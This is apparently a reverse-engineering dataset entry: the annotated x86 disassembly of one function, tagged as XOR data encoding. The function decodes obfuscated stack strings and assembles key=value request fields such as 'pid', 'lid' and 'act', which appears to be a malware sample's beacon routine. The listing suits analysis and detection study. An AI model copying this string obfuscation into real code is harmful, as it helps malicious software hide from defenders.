Function at 0x4099f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x104
cmp dword [ecx + 0x20], 0
je 0x409d75
mov edi, ecx
lea eax, [ecx + 0x10]
push eax
call fcn.00406100
add esp, 4
mov ebp, dword [edi + 0x10]
mov eax, dword [edi + 0x58]
mov eax, dword [eax + 0x48]
mov dword [esp + 4], eax
movzx eax, byte [edi]
imul ecx, eax, 0xcd
shr ecx, 0xa
and ecx, 0xfffffffe
lea ecx, [ecx + ecx*4]
sub al, cl
movzx eax, al
movzx eax, byte [eax + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov byte [esp + 2], al
mov byte [esp + 3], 0
lea eax, [ebp + 0x400]
push eax
call fcn.004082a0
add esp, 4
mov ebx, eax
mov dword [esp + 0x68], 0x58424d41
mov byte [esp + 0x6c], 0x3d
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0xb1
xor cl, byte [esp + eax + 0x68]
add cl, 0x78
mov byte [esp + eax + 0x68], cl
inc eax
cmp eax, 5
jne 0x409a70
lea esi, [esp + 0x68]
mov ecx, edi
push 0x4457b4
push esi
push ebx
call fcn.00409300
mov dword [esp + 0x68], 0x646970
lea eax, [esp + 2]
mov ecx, edi
push eax
push esi
push ebx
call fcn.00409300
mov eax, dword [str.Dvh8ui__333]
mov dword [esp + 0x68], 0x64696c
mov ecx, edi
push eax
push esi
push ebx
call fcn.00409300
mov dword [esp + 0x68], 0x252e3a0d
mov dword [esp + 0x6c], 0x16212e3d
mov dword [esp + 0x70], 0x2c2f2615
mov byte [esp + 0x74], 0x8a
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, eax
and edx, 2
xor edx, 0x12
mov ecx, eax
and ecx, 0xd
sub ecx, edx
xor cl, byte [esp + eax + 0x68]
add cl, 0x90
mov byte [esp + eax + 0x68], cl
inc eax
cmp eax, 0xd
jne 0x409af0
mov dword [esp + 0xe], 0x746361
lea eax, [esp + 0xe]
mov ecx, edi
push esi
push eax
push ebx
call fcn.00409300
mov dword [esp + 0x68], 0xd5c3c7db
mov byte [esp + 0x6c], 0x71
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0xd5
xor cl, byte [esp + eax + 0x68]
add cl, 0x58
mov byte [esp + eax + 0x68], cl
inc eax
cmp eax, 5
jne 0x409b40
mov dword [esp + 8], edi
mov ecx, edi
push ebp
push dword [esp + 8]
push esi
mov dword [esp + 0x10], ebx
push ebx
call fcn.004095f0
mov dword [esp + 0xe], 0x11bf2fed
mov dword [esp + 0x12], 0x158013bc
mov dword [esp + 0x16], 0x19b617b3
mov dword [esp + 0x1a], 0x1df11b8e
mov dword [esp + 0x1e], 0x1991faa
mov dword [esp + 0x22], 0x5a10392
mov dword [esp + 0x26], 0x9e807dc
mov dword [esp + 0x2a], 0xd990ba7
mov dword [esp + 0x2e], 0xf1640fa2
mov dword [esp + 0x32], 0xf564f35b
mov dword [esp + 0x36], 0xf96af757
mov dword [esp + 0x3a], 0xfd13fb6e
mov dword [esp + 0x3e], 0xe14fff58
mov dword [esp + 0x42], 0xe549e370
mov dword [esp + 0x46], 0xe94ce70b
mov dword [esp + 0x4a], 0xed78eb4b
mov dword [esp + 0x4e], 0xd10bef4f
mov dword [esp + 0x52], 0xd576d332
mov dword [esp + 0x56], 0xd94dd779
mov dword [esp + 0x5a], 0xdd78db74
mov dword [esp + 0x5e], 0xc152df7f
mov dword [esp + 0x62], 0xc519c35b
mov word [esp + 0x66], 0xc7c6
xor eax, eax
mov ecx, 0x21
nop
nop
nop
nop
nop
nop
movzx ebp, byte [esp + eax + 0xe]
mov edi, ecx
or edi, ebp
and ebp, ecx
lea edx, [ebp*2]
not edx
add edx, ebp
and edx, edi
mov bl, 0xf
sub bl, dl
mov byte [esp + eax + 0xe], bl
inc eax
dec ecx
cmp eax, 0x5a
jne 0x409c30
movzx eax, word [esp + 0xe]
test ax, ax
je 0x409c81
lea esi, [esp + 0x68]
lea ecx, [esp + 0x10]
nop
nop
nop
nop
nop
nop
nop
mov word [esi], ax
add esi, 2
movzx eax, word [ecx]
add ecx, 2
test ax, ax
jne 0x409c70
mov word [esi], 0
mov edx, dword [esp + 8]
movzx ecx, byte [edx + 0x60]
test cl, cl
je 0x409cb1
lea eax, [edx + 0x61]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movsx ecx, cl
mov word [esi], cx
add esi, 2
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x409ca0
mov dword [esi], 0xa000d
mov word [esi + 4], 0
mov eax, dword [edx + 0x80]
mov dword [esp + 0xe], 0x1fbf1df3
mov dword [esp + 0x12], 0xe34be150
mov word [esp + 0x16], 0xe5e4
mov ecx, 0x2f8a091b
nop
movzx ebx, byte [esp + ecx - 0x2f8a090d]
lea edx, [ecx - 0x2f8a081f]
and edx, ebx
mov esi, edx
and esi, 2
mov edi, edx
or edi, 0xfffffffd
inc edi
mov ebp, edx
and ebp, 0xfffffffd
imul ebp, edi
or edx, 2
imul edx, esi
add ebp, ebx
sub ebp, edx
add ebp, ecx
mov edx, ebp
and edx, 1
xor ebp, 1
lea edx, [edx*2]
add edx, ebp
mov byte [esp + ecx - 0x2f8a090d], dl
inc ecx
cmp ecx, 0x2f8a0925
jne 0x409ce0
lea ecx, [esp + 0x68]
push 0x493e0
push eax
mov esi, dword [esp + 0xc]
push esi
push 0
push 0
push ecx
lea eax, [esp + 0x26]
push eax
call fcn.0040c350
add esp, 0x1c
mov ebx, eax
push esi
call fcn.004082b0
add esp, 4
mov ecx, dword [esp + 8]
mov eax, dword [ecx + 0x80]
add dword [ecx + 4], eax
mov dword [ecx + 0x80], 0
jmp 0x409d77
mov bl, 1
mov eax, ebx
add esp, 0x104
pop esi
pop edi
pop ebx
pop ebp
ret